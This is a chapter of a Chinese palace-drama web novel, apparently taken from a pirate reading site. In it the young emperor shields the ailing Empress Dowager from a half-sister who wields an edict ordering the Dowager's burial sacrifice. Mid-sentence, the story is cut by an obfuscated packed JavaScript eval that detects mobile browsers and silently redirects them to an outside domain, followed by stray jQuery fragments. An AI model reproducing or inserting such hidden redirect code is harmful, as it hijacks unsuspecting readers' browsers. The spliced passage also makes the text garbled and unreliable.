默认冷灰
24号文字
方正启体

9. 殉葬

作者:昨夜未归本书字数:K更新时间:
    灯火明亮,外间昏暗,黑夜即将到来。


    惯常冷淡的美人在灯火氤氲下竟添了些不多见的温柔,只一双眸子不见任何波澜,饶是如此,依旧搅得李珵心绪不宁。


    她对太后的感情,深厚又复杂,一心都在她的身上。


    但她知道,太后不爱她,或许,她就是神女,怜爱世人,心中博爱,却从不会去爱一人。


    李珵从刚刚的触碰中缓过心神,呆呆地问一句:“阿翎是谁?”


    她有些呆,像是迷茫,太后眼眸深深,看她一眼,垂眸微愣,“宫女罢了,我以为陛下在找她。”


    “朕来见太后,见她作甚。”李珵将剩下的半块点心塞进嘴里,旋即捧起茶来喝,也不问阿翎是哪个小宫女。


    李珵依旧在长乐殿蹭了晚膳,一面说着政事,“岭南出了暴乱,朕派人去平乱。”


    每朝每代都会出现暴乱,蚍蜉撼树,不自量力。


    “谁过去?”太后的眼神终于有了波澜,想要问清楚,兵权是皇帝的弱点。


    李珵凝神,“太后可有想法?”


    她凑过去,凝着太后,纤秾合度,一股疏冷的香味飘来,太后眼睫轻颤,神秘幽静中透着些神女的冷意。


    随着这双眼睛主人露出冷笑,冷意下裹着无端的汹涌澎湃。


    “陛下该要培养自己的大将军了。”太后语气幽幽,抬头就看到面前的皇帝,瓷白的肌肤在灯火涌着暖意,她正拧眉思考,陷入深思中。


    李珵沉默,在思考。太后不好打扰她,只见少帝一双琥珀色的眸子里变得愈发凉薄,太后不语,她随后说:“朕还没想好人选,太后可有举荐?”


    太后沾手朝政的时日比她多,手下心腹也比她多,暴乱压不住就容易成为大乱子,她的人太过年轻了。


    “您选一人作为主帅,我的人作为先锋,先崭露头角,如何?”


    太后颔首:“好,依你之见。”


    太后说完看向外间漆黑的夜色,道:“你先回去,我明日给你答复。”


    “好,太后保重,朕先回去了。”李珵没有做出留恋的姿态,而是快速起身,朝太后腼腆地笑了。


    皇帝喜欢来长乐殿,坐一坐,与太后说会儿话,她年轻,风华正茂,自然吸引人的目光。


    皇帝走后,太后一人坐在窗下,她用惯了阿翎,如今没有阿翎,反而有些不习惯。


    看了会儿书,她望着虚空,那里忽而出现一人,面色蜡黄,眼窝深陷。


    先帝病了许久,药石无灵,她走时还年轻,未至四十岁。


    太后凝着虚空中的人,心存畏惧,一动不敢动,那人忽而站起身,朝她走过来,在她身前懒懒坐下。


    “阿信姐姐。”先帝低叹一声,太后眼眸微缩,心如擂鼓,她幽幽地看着她:“你害怕,对吗?”


    对,她害怕,哪怕是先帝死了,那股恐惧感依旧随影而至。


    太后低头,不敢去看虚空,耳畔的声音如影而至:“你怎么那么没有用呢?”


    “空有一张好看的脸颊,连她的笑容都学不会,真是愚蠢,愚蠢透了。”


    “你抬头,看着朕……”


    太后蓦然抬首,眸色渐深,面前浮现的却是李珵那张明艳青春的脸颊,眼眸灵动,肌肤雪白,谁不叹一句青春年少。


    “阿姐。”李珵的声音依旧清脆,听起来,让人心口都暖暖的。


    太后蓦然伸手,忍不住去抚摸她的脸颊,可刚伸手,李珵不见了,取而代之是先帝枯黄的面容。


    “你个废物、你有什么用呢?”


    随后,先帝又换了一副温柔的语气:“阿殷,朕找了高明的术士,他们可以说召回阿信的魂魄,附在你身上,你答应好不好?”


    先帝不断变换面容,时而面露讥讽厌恶,时而轻声哄她,想要她答应换命的术法,好让上官信皇后回来。


    太后闭上眼睛,捂住耳朵,不愿再去听那些话,可不管她怎么努力,那些话、那些笑声在脑海里蹿来蹿去。


    “李珵……”她痛苦地溢出声,眉眼紧皱,将自己蜷曲起来,扎根心底的惶恐将她吞噬,甚至,将她推向悬崖处,跳下去就会万劫不复。


    她努力地克服恐惧,耳畔窜来撕心裂肺的声音:“她早就死了,你看清楚,外面的是沈怀殷,是沈祭酒家的女儿,她有自己的名字、是沈怀殷。”


    我是沈怀殷!


    太后怔了怔,低眉看着近处的灯火,眼神痴惘,谁是沈怀殷?


    她霍然站起来,不管不顾地往外走去,嘴里呢喃:“阿翎、阿翎……”


    新来的女官闻讯而进,乍然见到太后面色惨白,额头上渗着汗水,整个人浑浑噩噩,她吓呆了,“殿下、您怎么了?”


    “殿下,您要什么,臣去办?”女官忙拦住她,试图将她推回殿内:“臣在这里、臣去办?”


    太后听到了陌生的声音,猝然停了下来,眼前一阵飘忽,她极力去看清对方,没看清,眼前一黑,整个人晕了过去。


    女官哪里见过这等架势,忙唤人来扶起太后,又让人去找许太医去请皇帝。


    ****


    李珵刚走,还未到寝殿就被人找回来,小内侍吓得不轻,三两句话还没说完,李珵就先他一步跑回去了。


    太后莫名昏迷,李珵此刻早就将规矩抛得一干二净了,几乎跑进了寝殿。


    “刚刚还是好好的,怎么地就昏了?”李珵怒不可遏,罕见地发怒,可说过以后自己又跟着颓靡,想起救命稻草,“去找许溪来,快些。”


    床榻上的人刚刚还说好好的,突然就昏迷不醒,像是一场梦,梦醒梦睡间,让人分不清什么才是现实。


    许溪来得也快,未曾行礼就被皇帝拖过去诊脉。


    许溪身子一颤,稳定心神,轻轻地去诊脉,太后的脉搏杂而乱,像是高山落石。


    她看向皇帝,皇帝一挥手,让人都退下去。


    “太后是触景生情继而发病,她似乎无法从过去里走出来。都说人要往前看,可她似乎留在了过去。”许溪斟酌言辞,她不是书生,不知道怎么解释,只能用最浅显的话来形容。


    “太后这般,如惊弓之鸟,哪怕是一句话,一个字,都会触发她的病,且臣无法推算出太后何时会发病。”


    太后这样的病症,身边无法离人。她顿了顿,凝眸道:“我曾见过有人会做出自残的行为。”


    李珵心口猛地一颤,像是被人捅了一刀,自残……她忙道:“你药准备得如何了?”


    “还在准备,再等几日。”许溪低头,事情过于棘手了,她没想到太后的病情竟然如此严重,眼下都无人刺激她,万一再来人刺激,恐怕真的会做出自残的行为。


    李珵俯身在榻沿坐了下来,慢慢地调整呼吸,道:“此事隐蔽,朕不想第三人知晓,许溪,你知道的,朕可以捧你,也可以摔下你,朕记得你老师还在京城里。”


    许溪瞪大了双眸,忙俯身叩首表态:“陛下,臣必然谨记秘密。”


    “去办吧。”李珵疲惫至极,摆摆手。


    还有一件棘手的事情,太后的事情该怎么办呢?


    许溪走后,她才敢正大光明地去看床榻上的人,眸露怜惜,心口却在发疼,沈怀殷很快就会过去了,对吗?


    她低头,伸手去抚太后的脸颊,心中的情意再也无法遮掩。


    她与她,年幼相识,孤寂的宫廷内互相取暖,她做了皇帝,她也是太后,为何就不能完美呢?


    李珵难受极了,太后躺在面前,面色苍白,处处透露着脆弱,仿若吹来一阵风就可以将她带走。


    李珵没时间去悲伤春秋,既然有了决定,就要去想着,如何让太后悄无声息地出宫。


    枯坐半夜,太后渐渐安定下来,李珵启程回去。


    朝会上,她见到了剑拔弩张的李瑜,李瑜手中有令太后殉葬的圣旨,不仅如此,她还有手握兵权的舅父,所以,她有本事猖狂。


    李珵笑了,朝会散后,她令李瑜留下。


    “朕欲给你赐婚,妹妹高兴吗?”李珵明眸善睐,坐在龙椅上,耀武扬威,这一幕,狠狠刺激到了李瑜。


    李瑜气疯了,她狠狠一笑:“陛下想要将谁塞给我?”


    “怎么说是塞呢?”李珵故意眨了眨眼睛,顾盼生辉,与她说道:“朕对妹妹的关爱之意,妹妹感觉不到吗?朕给你选的,自然是合适的夫婿。”


    三言两语就挑得李瑜炸了,她要将男人塞给她?真是可恨。


    “姐姐莫要忘了,臣妹手中还有一物。”李瑜挺胸昂首,丝毫不畏惧李珵的威仪,她有把柄,何惧之有。


    李珵像是失忆了一般,故意刺激:“你有什么?”


    “太后殉葬的遗旨。”


    李珵面色微变,她的反应落在李瑜眼中,李瑜轻笑了声,得意至极:“姐姐,我知你与太后……”


    “你握着这道遗旨以为就可以拿捏朕?”李珵猛地打断她的话,拍案而起,“朕是天子,岂会受你威胁,李瑜,你不嫁也得嫁。”


    李瑜丝毫不畏惧:“陛下不怕我让太后给我陪葬吗?”


    李瑜的底牌就是这道圣旨。


    只要不除,她就可以永远掌控皇帝。


    李瑜的猖狂,在这刻展现得淋漓尽致,她冷冷地与皇帝对视:“姐姐怕了吗?我要的不多,别逼我。你我姐妹二人相安无事多年,只要你愿意,我们依旧可以好下去。你对太后的感情,我也知道,所以,你得听我的。”


    她笑了起来,神色讥讽,李珵做了皇帝又如何,照样无法奈何她。


    李珵静静地看着她,姿态如旧,看起来与以往没有什么不同,她听着李瑜叫嚣的声音。


    “如果朕坚持呢?”


    “你不在意太后的性命了?”


    姐妹二人对峙,一坐一站,李瑜面露阴霾,野心勃勃,而李珵面容明艳,淡淡而对:“如果说,朕不在乎吗?”


    李瑜面色大变,隔着数步之遥,紧紧凝着面前的新帝:“我不信、我不信你可以舍弃她。”


    “朕已得到无上高位,为何不可以舍弃。反是你以此数度要挟朕,你说,朕该不该罚你。”李珵托腮,眼睛眨了眨,淡淡地笑了,随后吩咐道:“拖下去,打三十杖,让长公主长长记性。”


    “你敢。”李瑜大吃一惊,李珵想要干什么?


    今日的李珵十分反常,像是真正的君主,维护自己的威仪。


    她望着她,同样,她也望着她,两人做姐妹多年,熟悉对方的秉性,这一眼,李瑜知晓,她放弃了太后。


    李珵登基不到一月就放弃了自己的嫡母。


    李瑜被侍卫按住,不甘心的抬头望着李珵:“我疼了不要紧,你也会疼。”


    李珵笑了下,什么都没有说,云淡风轻,甚至跟着走出去,立于廊下,静静地看着宫人行刑,看着李瑜疼得龇牙咧嘴,忍不住大喊大叫。


    宫廷里的红木刑杖本就厚重,一杖下去,打得人浑身骨头疼。


    李珵静静地看着她,嘴角一勾,待刑毕后,她走到李瑜面前:“朕最讨厌被人威胁。李瑜,记住,朕是天子,不是你的姐姐,至于太后,那也是你的母亲,你一个皇女拿出先帝遗旨,逼死养母,你说,万民会不会唾弃你。”


    “那是先帝的旨意。”李瑜疼得浑身发抖,整个人像是从水里捞出来的一样,心中痛恨却又无能为力,死死盯着李珵。


    自她过继,她就比李珵努力,她刻苦的时候,李珵跟在太后身后,屁颠屁颠地当孝女。


    凭什么,她这么多年的努力比不起攀附女人的废物!


    李珵慢悠悠地站起来,拍了拍李瑜的肩膀:“送长公主回去,好生养伤。”


    这么多年来,这是她第一回斗赢了李瑜,人无软肋,才会所向披靡。


    打发走李瑜后,皇帝下旨立后。


    皇帝接连的动作,大有破釜沉舟之意,杀得众臣始料不及,待回应过来,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15496253|170206||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    季凝代‘女儿’接过立后的旨意,笑吟吟地给内侍拿了些赏。


    季凝握着沉甸甸的旨意,心中郁闷,皇帝什么时候将她宝贝女儿送过来?


    啧啧啧,小皇帝够疯狂,比起先帝,还是差那么一点。


    先帝当年请来道士,让先皇后上官信还魂,甚至附在如今的太后沈怀殷身上。


    ****


    太后得到旨意时,也是一怔,目光幽幽地盯着传话的女官,冷情出尘之色让女官低下了头。新帝避开太后给的人选,自行立后,这件事便是太后与新帝不和的征兆。


    其实,太后只是在想,季凝的女儿?


    季凝当年爱慕的女子嫁人去了,她苦于无果,将心思放在政事上,这才有了今日左都御史季凝。


    她没有成亲、甚至没有生子,哪里来的的女儿?


    皇帝先打了长公主李瑜,又立即下旨立后,像是被李瑜逼迫一般,李瑜拿什么威胁李珵了?


    太后阖眸,没有深思季家的事情,而是在想,李瑜欺负李珵,逼着她立后。


    不知怎地,一股怒气油然而生,可圣旨已下,天下人都知晓,已无回转之地。


    女官匍匐在地上,浑身发抖,太后却在思索回旋之策,思之无果,她望向女官:“起来吧,告诉陛下,我已知晓,令礼部去准备陛下大婚事宜。”


    午后,许溪来诊脉。


    许溪探上太后的脉搏,屏息凝神,这时太后问话:“你老师近来可好?”


    “回太后,家师身子不错。”许溪恭谨地回答。


    清风观观主年少出家,刚嫁给李家郡王不过三月,郡王写了首诗讥讽先帝,先帝一怒之下杀了他,可那时观主已有身孕。


    上官皇后给了观主两条路,一则是放弃孩子,自由婚嫁,二则是生下孩子,入道观修行。


    许是母女之间有天性,观主没舍得放弃孩子,入道观生子。


    李珵是在道观里出生的。


    长至三岁被上官皇后带入皇宫,从此以后,与观主再也没有见过面。


    许溪不知道内情,只当老师是普通人,实则,她是当今天子的生母。


    太后无言,待诊脉结束后,收回手,许溪站起身,说:“殿下所用安神药已失去了效果,臣给您开新的药。”


    才不过半月的时间,安神药便失去作用,由此可见,太后常年服用的安神药也不少,渐渐地,身体出现了抵触。


    太后颔首,许溪不敢停留,主动退出去,今日太后也没有令她留下说话。


    许溪先去皇帝处回话,提及安神药没有作用。


    说及太后的事情,李珵面上少了些锋芒,原本锐利的眼神也变得柔和起来,她没有问安神药,只问:“药何时能成?”


    “还有两日。”许溪低头。


    新帝面有所思,盯着夜空看了许久,“知道了,你去准备。”


    许溪退下了。


    今晚,李珵不敢去见太后,立后的旨意颁布后,太后肯定会询问对方的底细,可她什么都说不出来。


    第一回,她生起逃避的心理。


    晚间,处理过政事,她撇开宫人内侍,自己一口气跑到长乐宫外,寝殿的灯火已灭,想来太后已睡下了。


    她不自觉地走进去,宫人见她来,忙去禀告太后,“不必,朕看看就走。”


    月下,巍峨如山峦的殿宇显得鬼魅不堪,甚至裹藏住云雾,压得人心口沉重。


    她站在殿外,迟迟不敢进去,站立须臾,转身走,这时,门后传来熟悉的声音:“阿珵,进来吧。”


    太后还没睡?


    李珵浑身一颤,叹了口气,避是避不过去的,收拾好自己走进去。


    太后没有醒,坐在床上,靠着软枕,长发披散下来,面颊清瘦,少了几分健康之色。


    李珵走近后,她直起身子,先开口:“那个皇后可是你喜欢的?你若是不喜欢,亦或是被李瑜所逼,我大可替你去解决。”


    李珵过于老实,没什么心计,比起狡猾的李瑜,实在是让人放心不下的。


    李珵与李瑜都是她看着长大的,李珵但凡有李瑜一半的狡猾,也不至于让先帝越过她,看重李瑜。


    她总是显得笨笨的,不大聪明的样子。


    李珵低头,紧张地捏了捏手:“我、我想我应该是喜欢的。”


    “喜欢啊。”太后叹息一声,榻前的一盏孤灯照得她面容明明弱弱,依稀只可见她身子消瘦,她笑了:“喜欢便好,有了喜欢的人,便觉得这个世间有你一块遮风避雨之处。”


    李珵依旧低着头,不敢面对太后,她喜欢她,却当着她的面要娶‘旁人’,她说:“太后早些休息,立后一事,朕来办,您养身子为好。”


    “好。”太后点点头,李珵立即上前,扶着她躺下。


    少帝面容裹着苍白,像是心虚过后的不安,太后一眼就察觉她的情绪不对劲。


    李珵在说谎。


    李珵与她心思不同,专注力都在太后身上,她给她掖好被子,眉眼弯弯:“您先睡,我等您睡着了再走。这里有我,您可以安心睡。”


    她虽年少,依旧可以给太后遮蔽风雨。


    太后阖眸,炉内的安睡香吹来,许是因为李珵在,很少便睡了过去。


    李珵跪在踏板上,歪头看着太后的睡颜,再等等,等李瑜上奏,她就可以动手了。季凝是一个识趣的臣下,也是聪明人,不会苛待太后,会善待她。


    日后,她会拥有她。


    李珵到后半夜,确定太后没有做噩梦,这才离开。


    李瑜养伤,半月没有上朝,这一顿板子让朝臣都安静下来。新帝立的左都御史的女儿为后,门户也可,朝臣纵然不满,可看着长公主的下场,具不敢言语。


    就在平静的风云中,李瑜伤势恢复,拿出先帝遗旨。


    “陛下,先帝去前,赐予臣妹一道旨意,令太后沈怀殷殉葬。”


    一言出,满朝动荡。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)